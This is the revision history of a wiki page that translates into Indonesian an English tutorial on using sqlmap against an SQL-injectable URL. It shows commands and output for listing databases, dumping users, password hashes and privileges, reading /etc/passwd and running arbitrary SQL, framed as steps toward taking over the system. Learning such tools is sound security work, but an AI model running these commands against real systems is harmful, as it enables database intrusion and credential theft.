SQLMap: Contoh cara remote hack database - Revision history

Onnowpurbo: /* Conclusion */

2016-02-19T01:33:48Z

Conclusion

← Older revision		Revision as of 01:33, 19 February 2016
Line 140:		Line 140:
	Kalimat terakhir dari keluaran sql query yang jalan di server remote.		Kalimat terakhir dari keluaran sql query yang jalan di server remote.

	==~~Conclusion~~==		==Kesimpulan==

	So with all the above information it gets easier to get further into the system and eventually take control of it, if possible. Sqlmap does quite a massive task by discovering the database, the data and details about the operating system. But in most cases it might not able to fully provide control of the remote system in the form of a shell.

	~~Further techniques need to be employed to get greater control of the system and eventually root. We shall be discussing those in upcoming tutorials.~~



			Jadi dengan semua informasi di atas itu akan lebih mudah untuk mendapatkan lebih lanjut ke dalam sistem dan akhirnya mengambil kendali dari itu, jika memungkinkan. Sqlmap melakukan tugas yang cukup besar dengan menemukan database, data dan rincian tentang sistem operasi. Tetapi dalam banyak kasus mungkin tidak dapat sepenuhnya memberikan kontrol dari sistem remote dalam bentuk shell.

			Teknik lebih lanjut perlu digunakan untuk mendapatkan kontrol yang lebih besar dari sistem dan akhirnya root.

	==Referensi==		==Referensi==

	* http://www.binarytides.com/hack-remote-database-sqlmap/		* http://www.binarytides.com/hack-remote-database-sqlmap/

Onnowpurbo: /* Run arbitrary sql command */

2016-02-19T01:29:46Z

Run arbitrary sql command

← Older revision		Revision as of 01:29, 19 February 2016
Line 127:		Line 127:
	sqlmap akan menyimpan file tersebut di directory-nya di file system lokal, sehingga dia dapat membaca-nya kemudian.		sqlmap akan menyimpan file tersebut di directory-nya di file system lokal, sehingga dia dapat membaca-nya kemudian.

	==~~Run arbitrary~~ sql ~~command~~==		==Menjalankan perintah sql sembarang==

	~~The~~ sql-query ~~option can be used to run arbitrary~~ sql ~~queries on the~~ database.		Opsi sql-query dapat digunakan untuk menjalankan sql query sembarang ke database.

	$ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();"		$ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();"
Line 138:		Line 138:
	select now();: '2013-04-15 11:51:10'		select now();: '2013-04-15 11:51:10'

	~~The last line in the output is the~~ sql query ~~output which was run on the~~ remote ~~database~~.		Kalimat terakhir dari keluaran sql query yang jalan di server remote.

	==Conclusion==		==Conclusion==

Onnowpurbo: /* Reading a system file */

2016-02-19T00:52:01Z

Reading a system file

← Older revision		Revision as of 00:52, 19 February 2016
Line 119:		Line 119:
	Di keluaran di atas, kita dapat melihat dengan jelas user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname.		Di keluaran di atas, kita dapat melihat dengan jelas user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname.

	==~~Reading a~~ system file==		==Membaca system file==

	On mysql ~~if the~~ database ~~user has permission to the~~ FILE ~~operation~~, ~~then it can read files from the~~ file system. ~~It can~~ read only ~~those files that are publicly readable or readable by the~~ mysql ~~user~~. ~~Here is a quick example to read the~~ /etc/passwd ~~file~~.		Di mysql, jika user database mempunyai ijin untuk operasi FILE, maka dia akan dapat membaca file dari file system. Dia dapat membaca "read only" file yang secara publik memang dapat dibaca atau yang memang dapat di baca oleh user mysql. Berikut adalah contoh cara membaca file /etc/passwd .

	$ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10		$ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10

	sqlmap ~~will store the~~ file ~~in its~~ directory ~~on the local~~ file system, ~~so that it can be read later~~.		sqlmap akan menyimpan file tersebut di directory-nya di file system lokal, sehingga dia dapat membaca-nya kemudian.

	==Run arbitrary sql command==		==Run arbitrary sql command==

Onnowpurbo: /* Fingerprinting remote system dan database-nya */

2016-02-19T00:49:14Z

Fingerprinting remote system dan database-nya

← Older revision		Revision as of 00:49, 19 February 2016
Line 89:		Line 89:


			Selanjutnya, untuk memperoleh user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname, kita dapat menggunakan perintah,

			$ python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10



	~~Getting the current user, current database and hostname information~~

	~~$ python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10~~
	........		........
	[11:32:33] [INFO] the back-end DBMS is MySQL		[11:32:33] [INFO] the back-end DBMS is MySQL
Line 120:		Line 117:
	current user is DBA: False		current user is DBA: False

	~~So in the above output we have the current~~ user, ~~current~~ database~~, the~~ hostname.		Di keluaran di atas, kita dapat melihat dengan jelas user yang digunakan saat ini, database yang digunakan saat ini maupun informasi hostname.

	==Reading a system file==		==Reading a system file==

Onnowpurbo: /* Fingerprinting remote system dan database-nya */

2016-02-19T00:46:50Z

Fingerprinting remote system dan database-nya

← Older revision		Revision as of 00:46, 19 February 2016
Line 31:		Line 31:
	banner: '5.1.61'		banner: '5.1.61'

	~~The output has the~~ banner text ~~which is~~ "5.1.61". ~~This is the~~ mysql banner ~~and clearly shows the~~ mysql ~~version being used~~. ~~Now you can search google for any mysql vulnerabilities that might exist in this version of~~ mysql.		Output dari banner text adalah "5.1.61". Ini adalah mysql banner dan tampak jelas terlihat dari versi mysql yang digunakan. Selanjutnya, kita dapat mencari di Google vulnerability yang mungkin ada untuk versi mysql tersebut.

			Perintah selanjutnya, mengambil daftar user dan role / fungsinya, menggunakan perintah berikut,

	~~The next command will fetch the list of users and roles.~~

	$ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10		$ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10

Onnowpurbo at 00:38, 19 February 2016

2016-02-19T00:38:26Z

← Older revision		Revision as of 00:38, 19 February 2016
Line 1:		Line 1:
	~~In the previous post on sqlmap basics we learnt how to use sqlmap to hack a~~ vulnerable ~~web application and fetch the list of databases, tables~~, columns and data rows. In this post we shall see how to do some simple fingerprinting on the remote database to find valuable information that can be used to assist in further exploitation of a system.		Misalnya, kita memperoleh URL yang vulnerable adalah,

			http://localhost/weak.php?id=10

	~~So lets say we have a vulnerable url~~		dimana parameter id tidak escape secara benar di code php dan vulner sql injection.
			Perintah untuk me-list semua database yang ada di server tersebut adalah,

	~~http://localhost/weak.php?id=10~~

	~~where the~~ id ~~parameter is not escaped properly in the php code and suffers sql injection vulnerability~~. ~~The commands to list out the databases would be~~		$ python ./sqlmap.py -u "http://localhost/weak.php?id=10" --dbs

			Kemudian gunakan opsi -T --columns dan --dump untuk melihat table yang ada di sebuah database, kolom dari tabel, data yang ada di tabel dan seterusnya.

	~~$ python ./sqlmap.py~~ -~~u "http://localhost/weak.php?id~~=~~10" --dbs~~		==Fingerprinting remote system dan database-nya==

	~~Then use the -T --columns and the --dump options to list out the tables of a database, columns of a table and data in a table and so on.~~

	~~==Fingerprinting the~~ remote ~~system and its~~ database==		Untuk melihat informasi lebih lanjut tentang database yang ada di sistem remote, kita dapat menggunakan opsi "-b". Ini akan berusaha untuk meng-ekstrak banner dari server database.
			Jika kita coba terhadap database mysql, akan tampak sebagai berikut,

	~~To find out more information about the remote system database use the option "-b". It will try to find the exact banner of the database server. Lets try it on a mysql database.~~

	$ python sqlmap.py -u "http://localhost/weak.php?id=10" -b		$ python sqlmap.py -u "http://localhost/weak.php?id=10" -b

Onnowpurbo: New page: In the previous post on sqlmap basics we learnt how to use sqlmap to hack a vulnerable web application and fetch the list of databases, tables, columns and data rows. In this post we shall...

2014-12-08T23:09:53Z

New page: In the previous post on sqlmap basics we learnt how to use sqlmap to hack a vulnerable web application and fetch the list of databases, tables, columns and data rows. In this post we shall...

New page

In the previous post on sqlmap basics we learnt how to use sqlmap to hack a vulnerable web application and fetch the list of databases, tables, columns and data rows. In this post we shall see how to do some simple fingerprinting on the remote database to find valuable information that can be used to assist in further exploitation of a system.

So lets say we have a vulnerable url

http://localhost/weak.php?id=10

where the id parameter is not escaped properly in the php code and suffers sql injection vulnerability. The commands to list out the databases would be

$ python ./sqlmap.py -u "http://localhost/weak.php?id=10" --dbs

Then use the -T --columns and the --dump options to list out the tables of a database, columns of a table and data in a table and so on.

==Fingerprinting the remote system and its database==

To find out more information about the remote system database use the option "-b". It will try to find the exact banner of the database server. Lets try it on a mysql database.

$ python sqlmap.py -u "http://localhost/weak.php?id=10" -b

.....

[11:19:51] [INFO] the back-end DBMS is MySQL
[11:19:51] [INFO] fetching banner
[11:19:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:19:51] [INFO] retrieved: 5.1.61
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
banner: '5.1.61'

The output has the banner text which is "5.1.61". This is the mysql banner and clearly shows the mysql version being used. Now you can search google for any mysql vulnerabilities that might exist in this version of mysql.

The next command will fetch the list of users and roles.

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10

..........

database management system users [5]:
[*] ''@'localhost'
[*] ''@'localhost.localdomain'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'localhost.localdomain'

.............

database management system users password hashes:
[*] [1]:
password hash: NULL
[*] root [2]:
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
password hash: NULL

........

[*] %root% (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE

Getting the current user, current database and hostname information

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10
........
[11:32:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[11:32:33] [INFO] fetching current user
[11:32:33] [INFO] retrieving the length of query output
[11:32:33] [INFO] retrieved: 14
[11:32:38] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[11:32:38] [INFO] fetching current database
[11:32:38] [INFO] retrieving the length of query output
[11:32:38] [INFO] retrieved: 5
[11:32:40] [INFO] resumed: profile_data
current database: 'profile_data'
[11:32:40] [INFO] fetching server hostname
[11:32:40] [INFO] retrieving the length of query output
[11:32:40] [INFO] retrieved: 21
[11:32:48] [INFO] retrieved: localhost.localdomain
hostname: 'localhost.localdomain'
[11:32:48] [INFO] testing if current user is DBA
[11:32:48] [INFO] fetching current user
current user is DBA: False

So in the above output we have the current user, current database, the hostname.

==Reading a system file==

On mysql if the database user has permission to the FILE operation, then it can read files from the file system. It can read only those files that are publicly readable or readable by the mysql user. Here is a quick example to read the /etc/passwd file.

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10

sqlmap will store the file in its directory on the local file system, so that it can be read later.

==Run arbitrary sql command==

The sql-query option can be used to run arbitrary sql queries on the database.

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();"

...........

[11:50:22] [INFO] retrieved: 2013-04-15 11:51:10
select now();: '2013-04-15 11:51:10'

The last line in the output is the sql query output which was run on the remote database.

==Conclusion==

So with all the above information it gets easier to get further into the system and eventually take control of it, if possible. Sqlmap does quite a massive task by discovering the database, the data and details about the operating system. But in most cases it might not able to fully provide control of the remote system in the form of a shell.

Further techniques need to be employed to get greater control of the system and eventually root. We shall be discussing those in upcoming tutorials.

==Referensi==

* http://www.binarytides.com/hack-remote-database-sqlmap/